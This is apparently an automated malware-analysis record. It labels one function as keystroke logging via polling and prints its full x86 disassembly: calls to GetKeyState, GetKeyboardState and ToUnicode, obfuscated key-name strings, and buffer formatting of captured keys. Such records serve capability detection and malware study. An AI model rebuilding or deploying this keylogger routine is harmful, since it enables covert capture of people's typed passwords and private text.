Function at 0x409953
Capabilities:
Log keystrokes
Log keystrokes via polling

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x3ac
mov dword [esp], 0x12
mov ebx, dword [esp + 0x3c0]
call sub.USER32.dll_GetKeyState
push ecx
mov esi, eax
mov dword [esp], 0x14
call sub.USER32.dll_GetKeyState
push edi
mov dword [esp], 0x91
call sub.USER32.dll_GetKeyState
push ebp
mov dword [esp], 0x90
call sub.USER32.dll_GetKeyState
push eax
lea ebp, [esp + 0x1a0]
mov dword [esp], ebp
call sub.USER32.dll_GetKeyboardState
cmp ebx, 0x22
push eax
je 0x409ac0
ja 0x409a17
cmp ebx, 0x12
ja 0x4099ea
cmp ebx, 0x10
jae 0x409cee
cmp ebx, 9
je 0x409a93
cmp ebx, 0xd
je 0x409a8a
cmp ebx, 8
jne 0x409b22
mov dword [esp], str._cCYw6sCYd_
jmp 0x409afd
cmp ebx, 0x14
je 0x409aed
jb 0x409ad2
cmp ebx, 0x1b
je 0x409af6
cmp ebx, 0x21
jne 0x409b22
mov dword [esp], str._9Cnd_us_
jmp 0x409afd
cmp ebx, 0x27
je 0x409aa5
ja 0x409a4b
cmp ebx, 0x24
je 0x409ab7
jb 0x409ac9
cmp ebx, 0x25
je 0x409a9c
cmp ebx, 0x26
jne 0x409b22
mov dword [esp], str._D00Wg_us_
jmp 0x409afd
cmp ebx, 0x2d
je 0x409ae4
ja 0x409a70
cmp ebx, 0x28
je 0x409aae
cmp ebx, 0x2c
jne 0x409b22
mov dword [esp], str._904R5_MY0ddR_
jmp 0x409afd
cmp ebx, 0x2e
je 0x409adb
cmp ebx, 0x91
jne 0x409b22
mov dword [esp], str._MY0Wii_mWYw_
jmp 0x409afd
mov dword [esp], str._jR5d0_
jmp 0x409afd
mov dword [esp], str._qCV_
jmp 0x409afd
mov dword [esp], str._D00Wg_md85_
jmp 0x409afd
mov dword [esp], str._D00Wg_r4nI5_
jmp 0x409afd
mov dword [esp], str._D00Wg_aWgR_
jmp 0x409afd
mov dword [esp], str.__Wld_
jmp 0x409afd
mov dword [esp], str._9Cnd_aWgR_
jmp 0x409afd
mov dword [esp], str._jRS_
jmp 0x409afd
mov dword [esp], str._c0dCw_
jmp 0x409afd
mov dword [esp], str._adid5d_
jmp 0x409afd
mov dword [esp], str._XR6d05_
jmp 0x409afd
mov dword [esp], str._PCs6_mWYw_
jmp 0x409afd
mov dword [esp], str._j6Y_
call fcn.004081aa
mov dword [esp + 8], eax
lea eax, [esp + 0x2a0]
mov dword [esp + 4], 0x100
mov dword [esp], eax
call fcn.004127a8
jmp 0x409ccc
mov dword [esp + 4], 0
mov dword [esp], ebx
and esi, 0x8000
call sub.USER32.dll_MapVirtualKeyW
push edx
push edx
lea edi, [esp + 0x120]
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0x40
mov dword [esp + 8], ebp
mov dword [esp + 4], eax
mov dword [esp + 0xc], edi
mov dword [esp], ebx
call sub.USER32.dll_ToUnicode
sub esp, 0x18
dec eax
jne 0x409bf6
lea ebx, [esp + 0x60]
mov dword [esp + 8], edi
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0x40
mov dword [esp + 0x10], ebx
mov dword [esp + 0xc], 0xffffffff
mov dword [esp + 4], 0
mov dword [esp], 0xfde9
call sub.KERNEL32.dll_WideCharToMultiByte
sub esp, 0x20
mov dword [esp], 0x11
call sub.USER32.dll_GetKeyState
push edi
test esi, esi
mov dword [esp + 0xc], ebx
lea edx, [esp + 0x2a0]
jne 0x409bde
cmp ax, 1
jbe 0x409bde
mov dword [esp + 8], str._Ctrl_s_
jmp 0x409be6
mov dword [esp + 8], 0x4232c8
mov dword [esp + 4], 0x100
mov dword [esp], edx
jmp 0x409cc7
mov dword [esp + 4], 0
mov dword [esp], ebx
call sub.USER32.dll_MapVirtualKeyW
push ecx
push ecx
shl eax, 0x10
lea edi, [esp + 0xa0]
mov dword [esp + 8], 0x40
mov dword [esp], eax
mov dword [esp + 4], edi
call sub.USER32.dll_GetKeyNameTextW
sub esp, 0xc
test eax, eax
jle 0x409cee
mov dword [esp], 0x11
call sub.USER32.dll_GetKeyState
push edx
test esi, esi
lea esi, [esp + 0x2a0]
jne 0x409c6d
cmp ax, 1
jbe 0x409c6d
lea eax, [ebx - 0x30]
cmp eax, 9
ja 0x409c6d
mov dword [esp], str._P50i_Y_
call fcn.004081aa
mov dword [esp + 0xc], ebx
mov dword [esp + 8], eax
jmp 0x409cbc
lea ebx, [esp + 0x20]
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0x40
mov dword [esp + 0xc], 0xffffffff
mov dword [esp + 0x10], ebx
mov dword [esp + 8], edi
mov dword [esp + 4], 0
mov dword [esp], 0xfde9
call sub.KERNEL32.dll_WideCharToMultiByte
sub esp, 0x20
mov dword [esp + 0xc], ebx
mov dword [esp + 8], str.__s_
mov dword [esp + 4], 0x100
mov dword [esp], esi
call fcn.004127a8
test eax, eax
jle 0x409cee
mov edx, eax
lea eax, [esp + 0x2a0]
xor ecx, ecx
call fcn.0040970c
test eax, eax
jne 0x409cee
mov dword [0x422830], 1
add esp, 0x3ac
pop ebx
pop esi
pop edi
pop ebp
ret